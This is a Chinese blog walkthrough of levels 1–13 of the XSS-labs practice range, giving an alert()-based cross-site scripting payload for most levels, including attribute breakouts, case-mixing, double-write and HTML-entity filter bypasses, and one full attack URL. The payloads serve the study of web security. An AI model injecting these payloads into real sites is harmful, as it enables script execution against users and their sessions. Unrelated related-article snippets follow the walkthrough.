XSS-labs 1-13关通关攻略

2023-10-26

目录

通杀(认真):

第一关(无过滤):

第二关(尖号内xss):

第三关(过滤<>):

第四关(与第三关一致,只是单引号变成双引号):

第五关(a标签)

第六关(大小写绕过)

第七关(双写绕过)

第八关(unicode编码绕过):

第九关(白名单绕过)

第十关(get传参隐藏变量)

第十一关(referer注入)

第十二关(UA注入)

第十三关(cookie注入)


第十四关好想被搞了,iframe的网页被重定向到色情网站 ,所以十四关可能得自己搭环境。。。

给一个通杀(认真):

直接打开控制台输入window.alert()即可通关。

第一关(无过滤):

payload:

<script>alert()</script>

 

 

 

第二关(尖号内xss):

第二关翻看源代码,发现输入的值都在value=后面,所以有两个办法

1.我们先闭合前面,在重新构造一个js语句,同时注意后面的 " 进行闭合或者使用//注释

2.直接利用当前的语句,用onclick等属性值构造

payload:

1"><script>alert()</script>"

1"><script>alert()</script>//

1" onclick="javascript:alert()

第三关(过滤<>):

按照这关的闭合规则,尝试payload,发现<>都被过滤了,所以我们直接采用onclick 的payload

同时注意这关的引号闭合

payload:

1' onclick='javascript:alert()

第四关(与第三关一致,只是单引号变成双引号):

与第三关差不多

payload:

1" onclick="javascript:alert()

第五关(a标签)

先输入我们的特征字符看看过滤的规则咋样

onclick <script> ' "

发现onclick 和<script> 都被过滤了,而且都是从中间插一个_,就没有办法了吗,要是有一个单字符的标签该多好。。。

 哦对,我们还有<a>,

于是payload就出来啦

1"><a href="javascript:alert()">alert<a>

第六关(大小写绕过)

这一关发现href也被过滤了,

不过我们想起html的大小写不敏感(注意⚠️:是html不敏感,js是大小写敏感的)

于是大小写绕过

1"><a HrEf="javascript:alert()">alert<a>

第七关(双写绕过)

同样打上上关的payload,发现href不见了,script也不见了,于是猜想php应该是把href script替换为空,所以我们可以构造双写的payload进行绕过

payload:

1"><a hrHrEfef="javascrscriptipt:alert()">alert<a>

第八关(unicode编码绕过):

观察页面,跟之前的关卡有些不同,查看源代码

发现上面框输入什么,下面的href也跟着变,于是直接输入javascript:alert(),发现script被过滤,大小写不能绕过,后来才发现可以进行unicode编码绕过。

 在线unicode转换

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

第九关(白名单绕过)

这一关我当时确实没有想出来,看了别的师傅翻出后台源码才恍然醒悟。

一丢丢感悟:做攻的时候我们会猜想别人会怎么防守,而防守的时候并不是只对红队攻击进行黑名单拦截,同时还可以对正常请求做白名单。

这关的白名单就是http://

所以我们需要在我们的payload中加上http:// 同时让他不能影响到我们的payload,最简单的办法就是注释它。所以我们直接在第八关的payload上加上/*http://*/

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

第十关(get传参隐藏变量)

打开第十关的源码,我们发现有三个input框是隐藏的,但是不影响他们的传参,所以我们试一试他们是否好搞一点。

GET传参,所以使用&加上名字传参,三个都试了一遍,发现第三个成功。

payload

https://xssaq.com/yx/level10.php?keyword=well%20done!&t_sort=1%22%20onclick=javascript:alert()%20type=text

第十一关(referer注入)

相对于上一关,发现多了一个变量,于是老方法试一遍,上一关的变量对于 “ 做了过滤,所以搞第四个试试。

一样的办法,发现,好像不太行,第四个根本没有回显。不过不要灰心,仔细一看,ref,诶,这不是referer吗,从第十关上来的时候还有数值呢,那他的值岂不就是从referer里面直接取出来的咯,这不又是一个注入点。

于是,直接打开bp改包,加上referer就OK啦

payload:

 第十二关(UA注入)

跟上一关大差不差,注入点是UA头,payload:

 第十三关(cookie注入)

大差不差,payload:

 好了,下班咯

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS-labs 1-13关通关攻略 的相关文章

  • 探索Web开发的未来——使用KendoReact服务器组件

    Kendo UI 是带有jQuery Angular React和Vue库的JavaScript UI组件的最终集合 无论选择哪种JavaScript框架 都可以快速构建高性能响应式Web应用程序 通过可自定义的UI组件 Kendo UI可
  • 新手也能看懂的【前端自动化测试入门】!

    前言 最近在网上搜索前端自动化测试相关的文档 但是发现网上的文章都是偏使用 没有把一些基础概念说清楚 导致后续一口气遇到一些 karma Jasmine jest Mocha Chai BDD 等词汇的时候很容易一头雾水 这次一方面整理一下
  • Codeigniter - 基于帖子禁用 XSS 过滤

    我正在尝试在网站后面设置一个 CMS 但是每当发布数据时 a href 其中帖子数据被废弃 input gt post content true 打开它 但如何关闭它 感谢大家 PVS 如果您想更改默认行为post 方法 您可以扩展核心输入
  • 考虑光伏出力利用率的电动汽车充电站能量调度策略研究(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码 数据
  • Web自动化测试 —— cookie复用

    一 cookie简介 cookie是一些数据 存储于用户电脑的文本文件中 当web服务器想浏览器发送web页面时 在链接关闭后 服务端不会记录用户信息 二 为什么要使用Cookie自动化登录 复用浏览器仍然在每次用例开始都需要人为介入 若用
  • 考虑光伏出力利用率的电动汽车充电站能量调度策略研究(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码 数据
  • 每天10个前端小知识 <Day 14>

    前端面试基础知识题 1 CSSOM树和DOM树是同时解析的吗 浏览器会下载HTML解析页面生成DOM树 遇到CSS标签就开始解析CSS 这个过程不会阻塞 但是如果遇到了JS脚本 此时假如CSSOM还没有构建完 需要等待CSSOM构建完 再去
  • Vue中下载不同文件常用的方式

    1 使用window open方法下载文件
  • 深入解析 YAML 配置文件:从语法到最佳实践

    一 认识YAML YAML YAML Ain t Markup Language 是一种人类可读的数据序列化语言 它的设计目标是使数据在不同编程语言之间交换和共享变得简单 YAML采用了一种简洁 直观的语法 以易于阅读和编写的方式表示数据结
  • 可以在 CodeIgniter 中“重复”xss-clean 数据吗?

    以下是在 Codeigniter 中清除 XSS 数据的方法 set global xss filtering在配置中TRUE use xss clean use xss clean作为验证规则 将第二个参数设置为TRUE in this
  • ColdFusion 通过 Java 执行 OWASP esapi

    我有一些旧的 ColdFusion 代码 它最初是为 CF9 编写的 但现在运行在 CF 2016 上 应用程序 cfc local esapi createObject java org owasp esapi ESAPI applica
  • 上的 XSS 数据 URI 是否可被利用?

    读完这篇文章后 我没有一个明确的答案 http palizine plynt com issues 2010Oct bypass xss filters http palizine plynt com issues 2010Oct bypa
  • PHP:如何彻底防止XSS攻击?

    如何才能完全防止 PHP 中的 xss 攻击 这是假设我不关心任何 HTML 标签或其他格式 仅运行 strip tags 并使其完全安全就足够了吗 Both htmlspecialchars and strip tags 被认为可以安全地
  • PHP_SELF 和 XSS

    我发现一篇文章声称 SERVER PHP SELF 容易受到 XSS 攻击 我不确定我是否理解正确 但我几乎可以肯定这是错误的 这怎么可能容易受到 XSS 攻击
  • 为什么标签 x = txtName.Text;遭受XSS攻击,如何预防?

    我有以下代码 label x txtName Text 当安全团队分析该 dll 时 他们表示可以对上述代码执行 XSS 攻击 我知道文本框Text属性并不能防止 XSS 攻击 那么我现在应该做什么 下面的修改能解决这个问题吗 label
  • 将准备好的语句包装在函数中[重复]

    这个问题在这里已经有答案了 我一直在阅读有关 SQL 注入的文章 并决定修改我的代码以防止 SQL 注入 例如 我有一个输入 我将其值插入到数据库中 最初 我对注射的防范是这样的 function test input data data
  • ValidateRequest 错误还是 SQL Server Bug?

    我正在读这个article http software security sans org blog 2011 07 22 bypassing validaterequest in asp net 它说 该字符用值 uff1c 表示 如果将
  • PHP XSS 预防白名单

    我的网站使用所见即所得编辑器 供用户更新帐户 输入评论和发送私人消息 编辑器 CKEditor 非常适合只允许用户输入有效的输入 但我担心通过 TamperData 或其他方式注入 我如何在服务器端控制这个 我需要将特定标签列入白名单 b
  • 为什么 XSS 注入需要对 & 进行转义

    OWASP 建议转义以防止 XSS 注入的五个字符是 lt gt 其中 我无法理解为什么 符号 应该被转义以及如何将其用作注入脚本的向量 有人可以举个例子 所有其他四个字符都被转义 但与号没有转义 所以会有 XSS 注入漏洞 我已经检查了另
  • html() 与 innerHTML jquery/javascript 和 XSS 攻击

    我正在对我自己的代码测试 xss 攻击 下面的示例是一个简单的框 用户可以在其中输入他想要的任何内容 按 测试 后按钮 JS 会将输入字符串显示为两个 div 这是我为了更好地解释我的问题而制作的示例

随机推荐

  • p51 thinkpad 拆解_ThinkPad P51s固态硬盘加装指南(含拆机图)

    原标题 ThinkPad P51s固态硬盘加装指南 含拆机图 ThinkPad P51s是一款定位功能强大 机身轻薄的移动工作站 在19 9mm的机身中承载着酷睿i7 专业图形显卡 32G大内存 固态 机械双硬盘等专属强大性能 但是强大的性
  • webpack自动化打包webpack-dev-server

    在前面的章节中我们每次改完要打包的资源文件 和配置文件都是是输入npx webpack命令手动打包的 那么有没有什么办法可以监听到我们代码的改动 在保存时就自动打包呢 答案是当然有 不然哪些框架的脚手架是怎么实现保存自动打包的呢 这就是本章
  • Ubuntu重现IBM-Blockchain/marbles的Demo

    IBM Blockchain marbles Github网址 之前看书marbles是被翻译成大理石 不过也有翻译成弹珠的 自己理解就可以了 都是资产 现在我们开始重现这个官方的Demo 搭建Fabric的开发环境 搭建的环境至少是1 0
  • msfconsole常用搜索命令search

    msfconsole启动msf控制台后 msfconsole 2 dBBBBBBb dBBBP dBBBBBBP dBBBBBb o dB BBP dB dB dB dBBP dBP dBP BB dB dB dB dBP dBP dBP
  • opencvsharp 为什么降低图像的分辨率_【干货】图像质量与图像分辨率的关系

    在谈论图像质量时 我们都会提到分辨率 分辨率当然是指以像素 图像元素 为单位测量的图像的大小 当您将图像分辨率的宽度和高度相乘时 它将给出图像的总像素数 而质量是指图像中存储在像素中的细节内容 如颜色 阴影 对比度等 有些说法是 更高的分辨
  • Ubuntu 16.04纯文本界面、图形化界面切换方法

    一 图形化界面与纯文本界面的动态切换方法 Ubuntu 16 04系统默认以图形化界面方式启动 进入图形化界面后 若要切换到纯文本界面 一般可以按 Ctrl Alt F1 或F2 F6 快捷键 在文本终端中输入用户名 密码后登录即可 如下图
  • Python报“TypeError: a bytes-like object is required, not ‘str’ ”解决办法

    import os sys 打开文件 fd os open foo txt os O RDWR os O CREAT str this is fujieace com test str str encode 添加转换方法 encode 即可
  • 【技巧】pycharm中Debug过程中跳过for/while循环

    先在for while循环结束后的一句打上断点即可 再找到左侧绿色按钮
  • kali之MS08-067漏洞复现

    MS08 067漏洞复现 漏洞简介 MicrosoftWindows是美国微软 Microsoft 公司发布的一系列操作系统 Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞 远程攻击者可以通过发送恶意的RPC请求触
  • java中设计模式之装饰模式(结构型模式)

    什么是装饰模式 装饰模式 Decorator Pattern 是一种结构型设计模式 它允许你在不改变已有对象结构的情况下 动态地向对象添加新的功能 装饰模式利用组合和继承的方式 通过创建包装对象来包裹原始对象 以增强其功能 这样可以在不修改
  • - 模块“VPMC“启动失败,未能启动虚拟机?

    模块 VPMC 启动失败 未能启动虚拟机 原因 该主机的CPU类型问题 它不支持虚拟化性能计数器 可通过右击虚拟机 打开设置进行处理 解决方法 右击虚拟机 设置 选择处理器 虚拟化引擎中的三个框全部去 重启虚拟机 也有可能是没有开启主机虚拟
  • linux centos7清除系统日志、历史记录、登录信息

    平时不管是web还是系统产生的日志都可能导致洗盘爆满 所以我在这里分享一些基本常用清理linux日志的方法 echo gt var log wtmp 清除用户登录记录 echo gt var log btmp 清除尝试登录记录 echo g
  • scrapy-splash java,scrapy-splash简单使用详解

    1 scrapy splash是scrapy的一个组件 scrapy splash加载js数据基于Splash来实现的 Splash是一个Javascrapy渲染服务 它是一个实现HTTP API的轻量级浏览器 Splash是用Python
  • 【node】- npm install时报错:npm WARN enoent ENOENT: no such file or directory

    npm install g koa 时报错如下所示 npm WARN enoent ENOENT no such file or directory 项目目录中没有package json 解决方法 在cmd命令行中输入 npm confi
  • 基于STM32单片机的停车场系统

    一 系统设计 本次停车场系统的设计使用STM32单片机为主控 通过光电检测模块检测车位 检测到数据后通过ESP8266通信模块上传到上位机 检测到车辆时则判断车位被占用并自动计算停车费和空余车位 二 硬件设计 本设计所采用的STM32F10
  • sqli-labs——保姆级1~22闯关详解

    目录 Less 1 GET Error based Single quotes String 错误的GET单引号字符串型注入 Less 2 GET Error based intiger based 错误的GET数值型注入 Less 3 G
  • Windows如何安装linux子系统

    很多用windows的开发人员其实非常羡慕Mac用户可以在Mac上直接使用linux命令安装软件和操作计算机的 现在windows 10以上的系统也支持安装一个linux子系统 方便个人测试使用 让你不再需要安装虚拟机也能做linux的测试
  • Github上优秀的开源小程序汇总

    Github上优秀的开源小程序汇总 有什么小程序适合个人开发 工具类的小程序非常适合个人开发 用云开发模式开发成本很低 能够快速上线 唯一的缺点是个人无法接入支付 变现渠道受限 目前只能通过流量主变现 见过一个在职的朋友利用业余时间实现小程
  • 苹果手机显示没有连接服务器怎么办啊,苹果手机更新连接到服务器出现问题怎么办...

    1 我的苹果手机验证失败 下面显示连接到服务器出现问题 怎么办 验证失败 连接到服务器时出现问题 一般是由于网络连接出现异常或者手机系统出错导致的 更换手机当前连接网络信号 比如 将无线网络切换至手机数据 或者是断开网络输入密码进行重新连接
  • XSS-labs 1-13关通关攻略

    目录 通杀 认真 第一关 无过滤 第二关 尖号内xss 第三关 过滤 lt gt 第四关 与第三关一致 只是单引号变成双引号 第五关 a标签 第六关 大小写绕过 第七关 双写绕过 第八关 unicode编码绕过 第九关 白名单绕过 第十关